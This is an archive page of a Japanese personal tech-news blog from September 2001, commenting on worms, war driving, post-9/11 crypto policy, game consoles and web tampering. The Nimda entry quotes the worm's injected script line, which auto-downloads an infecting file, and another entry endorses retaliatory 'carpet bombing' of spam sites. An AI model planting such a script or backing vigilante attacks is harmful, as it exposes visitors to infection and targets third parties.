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Directed and Produced by
純谷吉松(Itoya Kichimatsu)


■2001年9月のニュース一覧
▼[2001.09.29]ドライビング・ザ・ワイヤード
▼[2001.09.28]mEmORiZe
▼[2001.09.27]終わらぬ,テロ
▼[2001.09.26]暗号のない社会にない社会
▼[2001.09.25]蟻地獄無間地獄
▼[2001.09.24]稲穂も垂れるワームかな
▼[2001.09.23]Xの眼差し
▼[2001.09.22]似ている,けれどちょっとだけ違う彼女
▼[2001.09.21]手八丁ワームとある企業の話
▼[2001.09.19]ここ,で守るべき戦い
▼[2001.09.18]ネットワーク上の行動基準
▼[2001.09.17]明日の言葉を創る
▼[2001.09.16]ピューマ,ファイナルステップ
▼[2001.09.15]ゲーム機,その存在証明
▼[2001.09.14]緊急時マニュアル at wired
▼[2001.09.13]残された伝える術
▼[2001.09.12]感覚のないモバイルの国
▼[2001.09.11]鼓動が聴こえる
▼[2001.09.09]I'm So Lonesome Could Cry
▼[2001.09.08]虫食う虫の必要性
▼[2001.09.07]天一天上,吉凶知るべし
▼[2001.09.05]コンパック・ショック!
▼[2001.09.04]音楽右往左往
▼[2001.09.02]ファイル共有ソフトの,ウ・ラ
▼[2001.09.01]商売を変えよう

■2001年10月のニュース一覧
■2001年8月のニュース一覧


 
[2001.09.29]
  ドライビング・ザ・ワイヤード


 ▼生協的精神で運営する無料アングラ・ワイヤレスネット(CNET Japan)
  http://japan.cnet.com/News/2001/Item/010928-1.html


 車が海岸線を1周する間に,ワイヤードで地球を7周半。地表のどこに走っていったって,ネットワークはそこにある。

 ワイヤレス・ネットワークの標準規格「802.11b」を使い,無料でインターネットアクセスを提供している地域グループがある。気付いているかどうかは別として,企業のワイヤレス・ネットワークに外部からアクセスできることもある。全米の「スターバックス」コーヒー店も同じネットワーク接続サービスを店内で提供しているし,アップル社エアポートも802.11bを採用している。この無料のご近所ネットワークだが,ネットワーク接続業者は商用インフラを侵食する行為として「ピラニア・ネットワーク」と呼んでいる。

 そう,今いちばんの流行は記事中にある「ウォー・ドライビング」だ。ノートパソコンとワイヤレス・カード,そしてGPSを用意して,そこいらの道路をドライブする。道脇の企業や家庭で使っているワイヤレス・ネットワークが引っ掛かったら,ログインする。セキュリティー・ホールに対する対応をしていなかったり,管理者が適当な設定で運営してたりすると,簡単にネットワークにアクセスできてしまう。んで,米国でウォー・ドライビングした結果の地図がある(Dis.Org)。驚くほどの数のワイヤレス・ネットワークがむき出しになっており,こんな街でお金を払ってインターネットアクセスをするなんて馬鹿らしくなるかもしれない。

 だが,思っているよりも早く,802.11bから802.11aへの切り替えが起きるかもしれない。802.11bのセキュリティー面の欠陥もあるし,802.11bの通信速度は11Mbpsだが,802.11aは54Mbpsとなる。もちろんアクセスポイントより上位のスピードによって制限されるが,DVD並みの動画のストリーミングも何不足なくこなすネットワーク接続(しかもワイヤレスで!)は垂涎ものだ。ウェアラブルで歩道を歩きながらも,継続的ににスループット限界までパーソナル・サーバーにアクセス,海岸沿いの道路を時速100kmでドライブしながら,50Mbpsで爆走するワイヤードにトラッキング。常に,どこでも,どこにいても繋がり続ける世界は,望む未来に似ている(参考としてWIRED NEWSの記事)。




 
[2001.09.28]
  mEmORiZe


 ▼秋葉原ラジオ会館に「パーソナルコンピュータ発祥の地」のプレートを設置(Impress PC Watch)
  http://www.watch.impress.co.jp/pc/docs/article/20010927/nec.htm


 秋葉原のラジオ会館7階にあったNEC社のBit-INN東京跡地に,「パーソナルコンピュータ発祥の地」プレートが設置された。Bit-INN東京は76年に開設されマイコンに触れたい客であふれた。ソフトバンク社の孫正義社長やアスキー社創業者の西和彦氏も10代のときに訪れていた。

 『あるPCメーカーの開発室を訪れた私たちは,開発者である人物から,そのソフトの概要を聞かされた。まさか,そんなものがあるなんて…と思ったが,開発者は「試してみますか?」と,なにごとでもないように私たちを「実験室」という札のついた部屋へと案内してくれた。そのソフトとは,人の心の中の「想い出」をエミュレートするというもの。プログラムをダブルクリックすると,開発コードであろう「mEmORiZe」というタイトルが映し出され,その後,人それぞれの「想い出」の場面が映し出される。

 最初に試したカメラマンの画面には,真っ黒い背景に白い線だけで描かれたRPGのダンジョンの画面が出てきた。それをみながらカメラマンは,眠くて仕方ないように目をこすりながら熱中していた。喜びに満ちた表情でモニタに向かい,そして意識を失ったようにうつぶせになって眠ってしまった。まだ,実際の時間は昼過ぎだというのに。私たちはカメラマンの肩を揺すったが,開発者は「静かに寝かしておいてあげましょう。とても幸せな気持ちのようですし…」と云って,助手にカメラマンの移動を促した。確かに,そのカメラマンの表情は,今までみたことがないほど,喜びに満ちていた。次に実験をさせてもらった編集アシスタントの画面には,ずいぶんと昔の「一太郎」のテキストファイルが現れた。一太郎のバージョンは,4.3。NEC社のPC-9801上で動いているものだ。そのJFWファイルには小説のようなものが書かれてあり,その筆者名はどうやらその編集アシスタントの名前だった。彼はそれをみながら,とても悔しそうにしていて,そして急に,人目をはばからずに泣き始めてしまった。泣き声は高まり,慟哭に近くなる。机を,拳が傷つくのではと思うほどに打ち付け,全身を痙攣させるほどに感情を昂ぶらせていた。開発者は「ああ,これはまずい」と,咄嗟に彼をPCのモニタから遮り,強制終了。彼は,その後も部屋の隅で泣き続け,気持ちを落ち着かせていた。人には触れたくない想い出や,意図的に沈めている想いもある。モニタ上のウインドウにあるのは,エミュレートされたものに過ぎない。だが,PCのエミュレートは,現実を凌駕してしまうこともある。例えば,プレステをエミュレートする「ブリームキャスト」が,実際のプレステの画面よりきれいになってしまうように…。

 私たちがその実験室をあとにするとき,「このソフトを発売することは,…ないと思います」と,開発者はちょっと悲しそうな顔をしながら云った。「PCとしてこのようなソフトを実現できることは,とても大切なことで,他にも応用が利くことだとは思います。でも,想い出にしがみつくのは,やはりマイナスになることもあるし,どこまで辛い想い出を抑える設定にするかは,赤の他人である私たちが決めてしまうことはできない。…だから,発売することはできないと思います」。私はその言葉を,ただの新し物好きとしては残念に思いながらも,それが正しいのかもしれない,と思いながら,家路についた。』




 
[2001.09.27]
  終わらぬ,テロ


 ▼E-volution:単純な問いかけと見つからない答え(ZDNetエンタープライズ)
  http://www.zdnet.co.jp/enterprise/0109/25/01092586.html


 私たちは,ビルに激突する飛行機の姿を直接みていない。すべては,モニタの中と写真と活字でしかない。その総体で,事件として認識している。そして多くの人の意見と感想が,それに肉をつけていく。あの事件を「なんだったのか?」と考えさせる。まだ,終わらぬ,テロがある。

 5歳になる息子が,ワールドトレードセンターのツインタワーの置物で遊んでいる。私たちは息子に事件が起こったことを説明するのに苦心した。息子は「誰がタワーを壊したの?」「なぜそんなことをしたの?」「誰かが死んだの?」と問いかける。いつか息子を連れて,タワーからの素晴らしい眺望をみせてやりたいと思ったが,今となっては,尊い命を道ずれに無に帰してしまった。息子は飛行機のおもちゃをビルにぶつける真似をするようになった。私は,「世界は本当は素晴らしい場所なんだよ」と云えるのだろうか?

 米国同時テロ(過去記事)後,これだけの大きな事件であり,意見や感想などがネットワーク上にたくさんあふれた。また,この事件に関連させた悪質なワームの存在や(CNET Japanの記事),被害者への募金を装った詐欺なども起きている(CNN.co.jpの記事)。

 この地平はリアルよりもよっぽど自由であり,どんな意見も感想も述べることは自由だ。テロを題材にした言葉遊びに興じてもいいし,所詮は海の向こうの出来事であり,ジョークで笑い転げることも自由だ。また,米国という国家の「強い」行動基準を批判してもいいだろうし,ひたすら戦争を回避することだけが正しいと固く信じてもいい。誰の口も封じるべきではないし,ネタとしての意見だって構わない。そして今回取り上げた記事のように,いつも米国PC業界の話題を取り上げるペターソンが,それに背を向けてこの話を取り上げたのも,その意味と,重たい気持ちを感じることができる。テロ後,冬眠日記のリンクやあめぞう2000(あめぞう2000を「テロ」で検索←重たいです)などからいろいろな意見に触れ,いろいろと考えることも多い。その,膨大な意見・感想は,爆発炎上した炎と煙のように,リアルっぽい。「close the woRld, open the nExt.」。




 
[2001.09.26]
  暗号のない社会にない社会


 ▼「PGP開発に悔いなし」〜テロ事件を受けてZimmermann氏が声明を発表(Impress INTERNET Watch)
  http://www.watch.impress.co.jp/internet/www/article/2001/0925/zimmer.htm


 30年間一緒に暮らしても,相手をわかることなど不可能なのだ,人は人をわかった気になっているだけ。本当にわかるほど人は簡単じゃない。人自体,暗号化されているようなものなのに,社会の暗号をなくしても,なにも変わらない。そしてそれは,人自体を否定するような動きでもある。

 暗号ソフト「PGP(プリティー・グッド・プライバシー)」の開発者であるフィル・ジマーマンが,米国同時テロでテロリストがPGPを利用していたかもしれないことについて,「開発したことを悔やんではいない」と声明を出した。ジマーマンは,PGPにバックドアをつけるような動きを否定し,PGPにそのようなことはしないと請け負っている。

 米国同時テロ(過去記事)後,いわゆる暗号に規制を加えるような動きがある。つまり解読できない暗号は禁止しようというものだ。米国議員にあがっている声で,これとは別に米国ではネットワーク監視システムであるカーニボーの使用が拡大される法案が成立している(WIRED NEWSの記事)。

 だが,暗号ツールがなくなったとしても,それでテロリストの動きを止めることなどできはしない。誰も,掲示板にスレッドをたてた人がバスジャックをするとは思わないし(過去記事),人を殴り殺すとも思わない。なんてことはないサイトの管理者が,どんな凶悪犯罪を引き起こすか,誰もわからないのだ。ツールがなくても乱数や符号を使い,犯罪者は情報のやり取りを行う。スパムメールなどで行われているように,発信元にスクランブルをかける方法も,いくらでもある。暗号規制など,結局はなんの役にも立たない対策で,それはこれからの,例えば電子商取引サイトの構築や,無線ネットワークの通信暗号化の強化などにも影響を及ぼしかねない。一時的な感情で,行われる所作ではない。




 
[2001.09.25]
  蟻地獄無間地獄


 ▼『Nimda』や『コード・レッド』を捕らえる簡単ツール(WIRED NEWS)
  http://www.hotwired.co.jp/news/news/technology/story/20010920301.html


 天国の上っ面は地獄だ。だがな,地獄の上っ面は天国だ。わかるか? 大天使と閻魔は姉妹だし,よくよく考えたら理想と破滅は同じ意味だ。

 「ラブレア」という名のツールは,コード・レッドやNimdaのようなワームを捕らえ,離さない。他のコンピューターに感染することができなくなって,攻撃の発信元は,コンピューター自体をシャットダウンして逃げ出さざるをえなくなる。このラブレアがウェブセキュリティー文化を大きく変えてくれることを期待しているプログラマーもいるが,ラブレアを効果的に機能させるには大規模なネットワークが必要だ。

 面白い。ワーム蟻地獄と云った感じだが,すでにネットワークはワームとワームを阻止する動きとの戦場と云ったおもむきをみせており,実際にコード・レッドに対抗して,コード・レッドの突くセキュリティー・ホールのパッチを勝手にあてる「対ワーム」ワームは存在してしまっている(過去記事)。だが,実際の問題は,記事中のVmythsの編集者の云っているように,同じ過ちを繰り返す社会の方にある。

 あれだけコード・レッドが騒がれても,Nimda(過去記事)でまたこれだ。これでは,世のネットワーク管理者は不具なのかと思われる。無駄なことをしでかすワームを捕らえようと云うのは,きちんと対処をしている管理者のすること。そもそも,そんなものに頼ってもワームはなくならないし,新しいコンセプトをもったワームの出現は続く。ワームを蟻地獄に落とす前に,蟻地獄型に感染マシンをネットワークに引きずり込んで,そこから蜘蛛の巣上に感染先をつなげていく,ドラッグ・ワーム(dragging worm)の話もきく(たぶんラブレアからヒントを得たのだろう)。ワームが仕掛ける蟻地獄,「対ワーム」ツールの仕掛ける蟻地獄。蟻地獄だらけのネットワークの姿が,ちょっと先の未来にみえる。




 
[2001.09.24]
  稲穂も垂れるワームかな


 ▼ブリリアントで性悪なNimdaは,何のために生まれてきたか(ZDNet News)
  http://www.zdnet.co.jp/news/0109/21/e_vamosi.html


 ニュースサイトから感染サイトをピックアップしようと思ったけど,挫折(^_^;)。ほとほとあきれるほどの,感染力に稲穂も垂れるワームかな。

 最近流行ったワームをミキサーにかけるとニムダになる。FBIがコード・レッドによってアクセス速度が遅くなるかもと発表したときは笑った人もいたが,ニムダが広まって笑えた人は誰もいなかった。ニムダは「やればできる」ことを証明した「コンセプト実証型」ワームだ。ネット上を動き回ってウェブサイトを密かに書き換え,そのページにアクセスしたユーザーに感染し,自動的にそのユーザーのマシンをワーム配信マシンにする。添付ファイルを開かなければ大丈夫,ではない。ニムダの作者は,何通りもの方法でウイルスを広げることが可能だと証明したのだ。

 記事の「コンセプト実証型」と云うのは,実際にニムダ(取扱注意)の「Admin.dll」をテキスト・エディタで開いて34段落目の,
「 SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces」
と云う表記をみれば明らかだ。「Concept Virus(CV)」(コンセプト・ウイルス,新種の行動を持つものなど,これまでにない行動力の実証性を確かめるために作成されるウイルス)という記述がある。

 それにしても凄まじい感染力。国内の報道で名前が出ているものだけでも感染リストにまとめた。感染の報告をしているリンクを読んでいくだけで面白いが,まぁサイトを書き換えられたところはワーム配布サイトとなったわけで,なんともおめでたいこってす。実際に感染しているサイトに行ってみると,HTMLではたった1行追加になっているだけ。
「 <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> 」
という1行。これによりemlファイルがJavaScripsによって自動的にダウンロードされ,IEのバージョンによっては自動的に感染する。パッチを出している元のはずのMSNが感染するなど言語道断なわけだが(過去記事),とは云っても,IISの修正パッチをDLしようとすると,68個もの穴をふさぐセキュリティ・ロールアップ・パッケージという,束になったパッチをあてることになるわけで,なんともかんとも。本来ワームにサーバーが侵されるなど管理者のメンツを損なうものだが,まぁもともとMS製品なので,なんともかんとも(←なんだよ。(今も感染している一例のサイト,放置されてるっぽいので当分このままでしょう。←JavaScripsオンの場合,ファイルのDLが始まる。IEのバージョンによってはそれだけで感染するので注意←修正されました(^_^;))




 
[2001.09.23]
  Xの眼差し


 ▼MicrosoftがXboxの米国発売を一週間延期 - 11月15日に(MYCOM PC WEB)
  http://pcweb.mycom.co.jp/news/2001/09/22/50.html


 Xの眼差しは,実はもっともよく世界がみえている。ソフト開発の状況,ホリデイシーズンを外さない行動力。結果はわからないが,その眼差しは感じられる。

 マイクロソフト社は,11月8日に予定していたXボックスの米国発売を15日に延期した。同社は発売延期の理由について,「万全の態勢で発売日を迎えるため」とだけ答えている。テロの影響で,流通に時間的余裕が必要であり,ゲーム内のビルのシーンの削除などが進められているケースも多い。これで,ゲームキューブの米国発売の18日と,ほぼ同時発売という状況になった。

 なんと15日(木)にXボックス発売,18日(日)にゲームキューブ発売となり(以前も3日違いだったが,両方とも延期してまた3日違いに),わざとぢゃないにしても,ゲーム販売店にとってはなんとも逼迫したニアミスぶりとなっている。そしてすぐにクリスマスシーズン。ゲームハードを選ぶサンタが多いかどうかは知らないが,がっぷり四つの状況ははたからみてると面白い。

 Xボックスは18日までに28本のソフト発売が予定されている(デッド・オア・アライブ3も8日発売予定だった)。ゲームキューブは発売日に9本の予定。リリースのカレンダー(GameSpotの記事)をみると,Xボックスの攻勢はなかなか目に付く。ソフトがあってこそ,という志向がもっともうまく動いているのは今のところXボックスだ。広帯域ネットワークにコミットしている点も,じょじょに活かされてくるだろう。ウインドウズXPがそれほど大きく待ち焦がれていない現状,XボックスにMSの頼みの綱となる。さてさて,どぉなることやら。




 
[2001.09.22]
  似ている,けれどちょっとだけ違う彼女


 ▼『ヤフー・ニュース』、記事が書きかえられる(CNET Japan)
  http://japan.cnet.com/News/2001/Item/010921-4.html


 価格だけが変わっていたり,規約の1行だけが変わっていたり,リンク先だけが変わっていたり,「ある」が「ない」にだけ変わっていたり……。

 米国ヤフーは,ハッカーの侵入によりニュース記事が改竄されたことを認めた。改竄をしたハッカーであるエイドリアン・ラモは,「ヤフーのセキュリティーが低下していることを知らせるためにやった,他のニュース記事も改竄している」と話している。この改竄されたニュース記事は,面白半分と思われる部分もあるが,事実と信じてしまいそうなものもある。

 ウェブサイトの改竄なんて珍しくもない昨今,だが,もっとも怖いのは改竄されたと気付かないような改竄だ。一目みて全然違うページになっているなんてのは,たいした影響はない。驚く人はいるだろうが,そこに書かれている内容は,修正されるまでなんら影響を与えない。だが,ぱっと見はなにも変わっていないのに,数字がちょっとだけかわっている,語尾がちょっとだけかわっている,という場合は大きな損害を生むかもしれないし,おおむね事態はやっかいなことになる。エイドリアン・ラモのクラッキングは,そんな意味で非常に危険だ。

 そっくりなのに,どこか違う。目の力の違い,笑ったときの口元の違い,言葉の覇気の微妙な違い,メモリチェックの音を聞き分ける耳の違い…。どこかホムンクルスをみているような,作り物のような輪郭の違い。でも,なんにも変わっていない。指摘できる違いなんてなにもない。唇も,体も,その違いを表わさない。その,アヤウサ。アヤウサ。アヤウサ。




 
[2001.09.21]
  手八丁ワームとある企業の話


 ▼蔓延するNimda,対応遅れるホームユーザー(ZDNet News)
  http://www.zdnet.co.jp/news/0109/20/e_nimda.html


 いいとこどりの限りを尽くした手八丁口八丁なワームだが,だからと云って責任ある企業があっさり感染しているのは,他人事ながら嘆かわしい。と,対岸にいながらも思うわけで。

 ウイルス対策の専門家は,18日に発生したコンピューターワーム「Nimda(ニムダ)」への警戒を呼びかけている。Nimdaは,電子メール添付ファイルによる拡大,IISのウェブサーバーの脆弱性をスキャンする拡大,同一ネットワーク上のディスクにコピーする拡大,感染したサーバーのウェブページを改竄しそのページをみた人に拡大するなど感染経路がたくさんあり,しかもそのプロセスが自動化されている。

 サーバーだけでなくクライアントにも感染し,しかもその方法が多種多様。過去にあったウイルス,ワームの感染方法を全部ひっくるめて,そのすべてを利用しているNimda(取扱注意)の感染スピードが急激だったのは当然か。感染したマシンは,実質1日ちょっとで10万とも15万とも云われている。一般ユーザーにとっても,ブラウザをアップデートしていないと,ウェブページをみるだけで感染するし,添付ファイルを開かなくてもメールの本文をみただけで感染する。いろいろな感染方法があるだけでなく,そのひとつひとつができるかぎり勝手に感染していくように仕組まれている。ちょっと確かな情報がないが,IRCやFTPでも感染があるとか…。

 他のサーバーへのスキャンもコード・レッドなんてかわいいものというほど激しいもので,アパッチのサーバーも影響を受けるという報告もある(ZDNet Newsの記事)。とにかく,なにから気を付けたらいいのかひと言で云えないほどに,手八丁で拡散していくNimdaなのだが,笑うのは,てめぇのところでパッチを配付しているのに(関連会社からとはいえ)あっさりと感染しているMSNジャパンだ。ほんと,頭おかしい以前に責任感のかけらも感じられない組織であり,そんな企業が,パスポートやヘイルストーム(ドットネット・マイ・サービス)で個人情報を扱おうなど顔を洗って出直して来たほうがいいですな,てな感じ。他人事だから,笑ってられるのだが。




 
[2001.09.19]
  ここ,で守るべき戦い


 ▼大手フリーメールサービスで週末に相次いでトラブル発生(Impress INTERNET Watch)
  http://www.watch.impress.co.jp/internet/www/article/2001/0917/free.htm


 リアルの戦争をネットワークに持ち込む必要はないが(過去記事),ここにはここの戦争がある。守るべきものを守る攻撃は,あっていい。

 大手ポータルサイトの運営しているフリーメールサービスで,週末に相次いでトラブルが発生した。被害に遭ったサイトは状況の報告をしている(インフォシークライコスグー)。インフォシークメールでは,同サービスを利用した大量のスパム送信が行われ,それに大量の返信メールが来て,サーバーの能力を超えた。同一時間帯で同様の手法ということから,同一の何者かによる仕業ということも考えられる。

 一部で,2chなどで行っている携帯電話へのスパムメールのサイトに対する絨緞爆撃(ZDNet Newsの記事関連サイト)との関連があがったが,それは流言だったようだ(迷惑メールを一斉訪問臨時掲示板の書き込み)。とは云っても,グーのはまだ不明だが,インフォシークやライコスの場合は,スパム業者が引き起こした事件と云えそうだ。ここからは推測だが,無効なアカウントを大量に含んだスパム送信リストがあり,それが出回って,同時期に,個々のフリーメールサービスで利用された,とも考えられる(あくまでも推測)。

 なんにしても,スパム送信者に対するマイナスイメージをより強くしてもいいだろう。インフォシークは,できるなら威力業務妨害でスパム送信者に対して法的措置を施すべきだ。3日ほどもメールの送受信がままならない状況にあったユーザーの感情は,きちんと処理してもらいたい。そして,2chから派生した携帯スパムサイトへの絨緞爆撃も支持されるべきものだろう。NTTドコモはどぉせなにもしないわけだし,ユーザーは自分の身は自分で守るしかない。意味ある攻撃は,阻害されるものでは,ない。(追記:フレッシュアイはスパム送信の影響でフリーメールサービス休止に)




 
[2001.09.18]
  ネットワーク上の行動基準


 ▼テロへの報復,ネットでも――2つに割れるハッカーコミュニティ(ZDNet News)
  http://www.zdnet.co.jp/news/0109/17/e_hacker.html


 国の政治の基準で,ネットワークは動かない。動く必要もない。

 米国同時テロ後,自称60人以上のコンピューターセキュリティーマニアらが,パレスチナとアフガニスタンのサイトに対する攻撃を開始すべく結束したという。だが,ドイツのカオス・コンピューター・クラブは,このハッカー動員作戦を批判する声明を出してしている。FBIは,「愛国心」の名の下に行われるハッキングの増加,テロに関連した名前のついたウイルスの蔓延を警告している。

 バウ・ホラントの設立した(過去記事)カオス・コンピューター・クラブの声明は胸に突き刺さる。「この世界を善悪に切り分けること,宗教を善悪の基準にすることを考えてはいけない。相手を憎むよりも強い,コミュニケーションの力を信じる」。

 リアルにはリアルの秩序がある。時期がきたら,米国は米国同時テロ(過去記事)への当然の報復として攻撃を行うだろう。維持されなければいけない秩序に沿った行動として,それはある。だが,ネットワーク上に同じ秩序を持つ必要はない。愛国心を発揮する「国家」というカテゴリーはこの世界にはないし,邪魔じゃなければ相手の宗教観も静かに尊重する。もっと違う基準で,この世界は成り立たせなければいけない。報復のために,ネットワークを使うというのは,あまりに稚拙な政治力による基準であり,そのような政治力は排除したい。いやそんなもの,取り入れようと思っても,馴染まないだろうが。




 
[2001.09.17]
  明日の言葉を創る


 ▼携帯メールはひらがなメディア IT時代の日本語先取り(asahi.com)
  http://www.asahi.com/tech/asahinews/K2001091500374.html


 言葉はいつも上位から普及することはない。そう,「ヽ(´ー`)ノ」が明日の言葉を変えていく。明日,私たちは,ネットワークのための日本語で会話をする。

 携帯のメールはひらがなが極めて多いことが,国立国語研究所の調査でわかった。他のメディアと比較してローマ字やアラビア数字は意外と少ないが,ひらがなの頻度が極端に高い。「彡」が「☆」と並べて流れ星に使われたり,文末に「。」を重ねて余韻を残したり,(笑)(泣)と書いて感情表現することもみられる。

 たとえば,鉛筆を使って紙に書いた文章と,キーボードで打った文章に違いはあるだろうか。これは,毛筆でボールペンを使って書いたものとおんなじことを書こうとしたときに違和感があるように,かならず変化はある。私たちは,頭で考えた文章を紙に書いているつもりだが,その書く道具自体が文章を作っていくこともあり,でき上がった文章には大きな変化が生じる。たとえば「,」の打ち方,たとえば漢字の使い方,たとえばよく使う慣用句。携帯は極端に使い難い入力装置であり,それ分イレギュラーな文章の出現を誘いやすい。

 私はパソコンで,かな入力なのでローマ字入力って異質だよね,とも思ってしまう。1音に2つも3つもキーを押していたら言葉が着いていかないと思ってしまう(まぁ世の中そっちの方が多いので黙っているが)。きっとローマ字入力だから生まれてくる文章,と云うのもあるだろう。2ch的な「既出」(がいしゅつ,ね)や「またーり」も日常的に使っているが,これだってこれまでの日本語からすればイレギュラーなものだ。日本語は(他言語もだが)折に触れて大きく変化するものだが,ネットワークのために,もっと変化していい。「ここ」での言葉は「ここ」で創られていく。その言葉が日常の常用となる。明日の日本語は,そこにある。




 
[2001.09.16]
  ピューマ,ファイナルステップ


 ▼10.1 ship date and hints at availability - burn your own copies at Apple Stores?!(MacOS Rumors)【英語】
  http://www.macosrumors.com/


 10.0(チーター)より,めたらやったら速くなりそうな10.1(ピューマ)だが,そのラストステップ。詳細はマックワールドエキスポ/パリの場での爆弾発言になるのかもしれないが,はてはて,どうなることやら(^_^;)。

 アップルストアの従業員が,マックOS X 10.1は,26日か28日に発売するだろうと教えてくれた。そして,私がメールで注文して10.1の到着を待つのが嫌だと云うと,他の従業員は,メディアを持ってきたら,私たちはここで10.1を焼くことになるだろうと云った。最近表に出てきたティプスとして,アップル社は10.1のCDを頒布するコストを大きく縮小させる方法を検討しており,もしアップルが許可すれば,店頭でのCD焼き込みで,10.1の無料配付があるかもしれない。

 …ん? 無料? 店でCD-Rで焼く?? マヂですか(^_^;)。と,かなりとほほな話だが,マックOS X 10.1(コードネーム:ピューマ)のアップデートが有料(20ドルで実費のみという説明)ということに対する反発は一部にある。アップルも当然それは承知しているはずで,なんらかの方法を模索しているようだ。ウォールストリート・ジャーナル紙にも10.1が一部店舗で無料配布されるという記事(MacWIRE ONLINEの記事)が載っているようだが,この店頭CD-R焼き込みのことなのか(^_^;)。アップデーターは,どんなに小さくしても250MBほどの容量になることので,オンラインでの配付も難しい。確かにアップデートに関して云えば,紙マニュアルは10.0と同じもの以外なにも必要なく,ホットラインでイメージ落として焼くように,ディスクがあれば十分,なんだけど。

 果たして本当に店頭でのディスク焼きなんてことがあるのかどうか知らんが(^_^;),10.1正式版となりそうな5G58は,過去記事の時点の5G45よりも,再び速くなっているとMacOS Rumorsの1日前の記事にはあり,期待は尽きない。まっ,問題はその無料配布の店頭での焼き(^_^;),なんだが,リテールショップがない日本では,なしですか?,アップル・ジャパンさん(つか店頭での焼きと云うたびに笑ってしまうのだが)。




 
[2001.09.15]
  ゲーム機,その存在証明


 ▼ニンテンドーゲームキューブついに発売! 秋葉原、池袋、有楽町編(Impress GAME Watch)
  http://www.watch.impress.co.jp/game/docs/20010914/gc_aki.htm


 いちばんわかりやすいのは,新宿からの電撃オンラインの記事だ。ゲーム機であること,ゲームをしたいと云う気持ち,子供でも喜んで手を伸ばすもの。それらの積み重ねが,次の,メインゲームハードを作る。

 任天堂社のゲームキューブが発売になった。驚きだったのが,秋葉原で7時の開店に駆けつけたユーザーの半数近くが外国人ユーザーだった点。海外での任天堂ブランドの強さの現れか。秋葉原においては,思ったよりも静かな立ち上がりとなった印象だ。

 コンビニでの予約などが定着しているためか,渋谷の早朝レポートの電撃オンラインの記事GAMELEX TVの記事は笑える。秋葉原レポートの電撃オンラインの記事は,後半全然違うとこに目が行ってるし(^_^)。どこも過去の行列騒ぎよりは静かで,穏やか。だが,ビッグタイトルが同時に発売になっているわけでなく,ゲームキューブにとっては,こんなもの,であるのは,上々のすべり出しと同じ意味だ。

 100%絶対ゲーム機として,あとはソフトの発売をのんびりと待てばいいゲームキューブにとって,発売日はこんなもので十分で,それ以上のわけわかめな騒ぎは要らない。そして,モデム,ブロードバンドアダプタと,PSOなどのソフトが出てくればいいんだ。そうでないゲーム機は存在証明がみえていないに過ぎない。そして存在証明のはっきりしないものなど,最後には生き残らない。




 
[2001.09.14]
  緊急時マニュアル at wired


 ▼米国同時テロ:主流メディアよりも有用だったネット情報(WIRED NEWS)
  http://www.hotwired.co.jp/news/news/culture/story/20010913206.html


 緊急時マニュアル。大手サイトは役に立たない。周辺のサイト,特化した情報を持っているサイトにあたれ。メール,IM,IRC,ニュースグループの情報は生きている。

 米国同時テロの際,大手ニュースサイトに接続できないなどウェブは役に立たなかったという批判がきかれるが,使いようによっては非常に役に立った。各種コミュニティーサイト,ディスカッション・グループ,メーリングリストには,攻撃に関する情報があふれた。個人が運営しているスクリプティング・ニュースは,特に際立っていた。同サイトの制作者は云う。「この新しいコミュニケーション・メディアには力がある。ウェブは,死んだどころか始まったばかりだ」。

 だいたい誰でも考えることは一緒だったりして,主要ニュースサイトはどこもアクセス集中でリクエストに答えられずにいた。日本のメディアでも,CNN.co.jpやアサヒ・コムはレスポンスがとことん悪かった。つまり,緊急時,主要ニュースサイトは役に立たないことが多い(回線の増強はいつも後回しにしか行われない)。2chも同様。2chは十分に大手サイトであるが,その名前に値するだけの運営は期待できない(現時点では)。もし緊急時に情報を求めるのなら,たとえば場所が特定されているのであれば,その場所のコンテンツに特化しているサイト,その場所に住んでいる人のサイト,その場所とつながりのあるものを扱うサイト,などをあたる。また,その場所の名前から連想されるニュースグループ,メーリングリスト,BBSなどもあたれるし,きっとなんらかの情報があるだろう。ウェブ,そしてネットワークの力は一元化されていなく,膨大なソースが期待できるところにある。今回の事件はそれを教えてくれている。

 私は今回の事件で特に情報を求めていたわけぢゃないが,参加しているメーリングリストでは,その話も流れた。怒りをぶつける人,遠くから見えた光景を伝える人,そのメーリングリストのメインの話で気を紛らわせようとしている人,などなど。そういえば,そのメーリングリストで知りあって,DMで何度かメールのやり取りをした人がニューヨークで働いているというのを思い出して,簡単にメールを出してみた。翌日返信があって,ワールド・トレード・センターからはかなり離れたところにオフィスがあるので直接は影響はなかったが,なんとか急いで家に戻ってから会社は機能していないので出社していない,とにかく,みんな陰鬱な気持ちなのは確かだ,というような内容だった。インターネットが,1カ所のハードウェアが壊されても大丈夫なように作られていることは誰でも知っているが,こうして個々の繋がりが実感できると,ちょっとだけほっとする。(過去記事




 
[2001.09.13]
  残された伝える術


 ▼米国同時テロ:「無事」を伝える電子メールとインスタント・メッセージ(WIRED NEWS)
  http://www.hotwired.co.jp/news/news/technology/story/20010912303.html


 まるで戦場のまっただ中になってしまったニューヨーク。自由の女神が泣いているような都市で,伝える術は,メールとIMだけだった。

 米国同時テロでワールド・トレード・センターへの攻撃発生後,電話や携帯電話が不通となるなかで,家族への連絡手段として電子メールやインスタント・メッセージ(IM)が有効であることに気付いた。外の空気が汚れており,オフィスに閉じこめられた人たちはメールやIMで連絡をとっている。あるビジネスマンはメールにこう書いている。「この混乱はとても言葉では表現できない」。

 別のWIRED NEWSの記事では,現場の恐ろしさがとことん伝わってくる。ある意味では戦争の奇襲攻撃と同様の被害規模であり,すでに報復ということが取り沙汰されているが,これが戦争になってもなにもおかしくないだろう。日本と云う国は戦争を否定したがるが,生きていくのに避けられない戦争はある。それにしてもテレビを観ていても,特撮のように飛行機がビルにぶつかっていって炎と黒煙があがり,ゴジラ映画のようにビルが崩壊していく様は言葉をなくす。(今回のテロ攻撃の元ネタはトム・クランシー?(SANSPO.COMの記事))

